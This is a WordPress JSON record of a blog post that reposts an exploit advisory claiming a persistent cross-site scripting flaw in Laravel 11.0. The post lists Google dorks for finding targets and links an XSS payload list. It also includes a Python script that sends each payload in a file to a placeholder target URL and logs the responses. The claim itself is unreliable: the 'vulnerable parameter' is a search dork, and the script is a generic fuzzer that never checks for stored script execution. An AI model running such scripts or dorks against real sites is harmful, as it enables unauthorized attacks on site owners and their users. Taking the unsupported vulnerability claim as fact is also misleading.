{"id":60580,"date":"2024-12-03T13:21:21","date_gmt":"2024-12-03T10:21:21","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182896\/laravel11-xss.txt"},"modified":"2024-12-03T13:21:21","modified_gmt":"2024-12-03T10:21:21","slug":"laravel-11-0-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/laravel-11-0-cross-site-scripting\/","title":{"rendered":"Laravel 11.0 Cross Site Scripting"},"content":{"rendered":"<pre><code>\/*!<br>- # VULNERABILITY: Cross Site Scripting Laravel version 11.0&nbsp;<br>- # Authenticated Persistent XSS<br>- # GOOGLE DORK: inurl:.com\/?q=<br>- # GOOGLE DORK: Site:.com\/?q=<br>- # DATE: 2024-12-01<br>- # SECURITY RESEARCHER: &nbsp;E1.Coders<br>- # VENDOR: LARAVEL [https:\/\/laravel.com\/ ]- # SOFTWARE LINK: https:\/\/laravel.com\/docs\/11.x\/installation<br>- # CVSS: AV:N\/AC:L\/PR:H\/UI:N\/S:C<br>- # CWE: CWE-79<br>- # download payload https:\/\/raw.githubusercontent.com\/payloadbox\/xss-payload-list\/refs\/heads\/master\/Intruder\/xss-payload-list.txt<br>*\/<br>&nbsp;<br>&nbsp;<br>### -- [ Info: ]&nbsp;<br>[i] A valid persistent XSS vulnerability was discovered in of the Laravel version 11.0 &nbsp;website.<br>&nbsp;<br>[i] Vulnerable parameter(s): - inurl:.com\/?q= &nbsp; &nbsp;[AND] &nbsp; &nbsp;Site:.com\/?q=<br>&nbsp;<br>&nbsp;<br>### -- [ Impact: ]&nbsp;<br>[~] Malicious JavaScript code injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource.<br>&nbsp;<br>&nbsp;<br>### -- [ EXPLOIT : ]&nbsp;<br>&nbsp;<br>&nbsp;<br>import requests<br>&nbsp;<br># Target URL<br>url = \"https:\/\/TARGET.com\/?q=\"<br>&nbsp;<br># Function to read payloads from a file<br>def read_payloads(filename=\"payloads.txt\"):<br>&nbsp; &nbsp; try:<br>&nbsp; &nbsp; &nbsp; &nbsp; with open(filename, \"r\") as f:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payloads = [line.strip() for line in f]&nbsp; &nbsp; &nbsp; &nbsp; return payloads<br>&nbsp; &nbsp; except FileNotFoundError:<br>&nbsp; &nbsp; &nbsp; &nbsp; print(f\"Error: File '{filename}' not found.\")<br>&nbsp; &nbsp; &nbsp; &nbsp; return []&nbsp;<br># Function to perform the request<br>def xss_attack(url, payload):<br>&nbsp; &nbsp; full_url = url + payload<br>&nbsp; &nbsp; try:<br>&nbsp; &nbsp; &nbsp; &nbsp; response = requests.get(full_url)<br>&nbsp; &nbsp; &nbsp; &nbsp; return response.status_code, response.text # return status code and response text<br>&nbsp; &nbsp; except requests.exceptions.RequestException as e:<br>&nbsp; &nbsp; &nbsp; &nbsp; print(f\"An error occurred during the request: {e}\")<br>&nbsp; &nbsp; &nbsp; &nbsp; return None, None<br>&nbsp;<br># Main function to iterate over payloads and attack<br>def main():<br>&nbsp; &nbsp; payloads = read_payloads()<br>&nbsp; &nbsp; if not payloads:<br>&nbsp; &nbsp; &nbsp; &nbsp; return<br>&nbsp;<br>&nbsp; &nbsp; results = []&nbsp; &nbsp; for payload in payloads:<br>&nbsp; &nbsp; &nbsp; &nbsp; status_code, response_text = xss_attack(url, payload)<br>&nbsp; &nbsp; &nbsp; &nbsp; if status_code:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; results.append({\"payload\": payload, \"status_code\": status_code, \"response\": response_text})<br>&nbsp;<br>&nbsp; &nbsp; #Save results to a file (Example, you might need to adjust based on your desired output)<br>&nbsp; &nbsp; with open(\"attack_results.txt\", \"w\") as f:<br>&nbsp; &nbsp; &nbsp; &nbsp; for result in results:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f.write(f\"Payload: {result['payload']}\\n\")<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f.write(f\"Status Code: {result['status_code']}\\n\")<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f.write(f\"Response: {result['response']}\\n\\n\")<br>&nbsp;<br>if __name__ == \"__main__\":<br>&nbsp; &nbsp; main()<br>&nbsp;<br>&nbsp;<br>&nbsp;<br>### -- [ Contacts: ]&nbsp;<br>[+] E-Mail: E1.Coders@Mail.Ru<br>&nbsp;<br>[+] GitHub: @e1coders<br><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\/*!- # VULNERABILITY: Cross Site Scripting Laravel version 11.0&nbsp;&#8211; # Authenticated Persistent XSS- # GOOGLE DORK: inurl:.com\/?q=- # GOOGLE DORK: Site:.com\/?q=- # DATE: 2024-12-01- # SECURITY RESEARCHER: &nbsp;E1.Coders- # VENDOR: LARAVEL [https:\/\/laravel.com\/ ]- # SOFTWARE LINK: https:\/\/laravel.com\/docs\/11.x\/installation- # CVSS: AV:N\/AC:L\/PR:H\/UI:N\/S:C- # CWE: CWE-79- # download payload https:\/\/raw.githubusercontent.com\/payloadbox\/xss-payload-list\/refs\/heads\/master\/Intruder\/xss-payload-list.txt*\/&nbsp;&nbsp;### &#8212; [ Info: ]&nbsp;[i] A valid persistent XSS &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60580","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60580","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60580"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60580\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60580"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}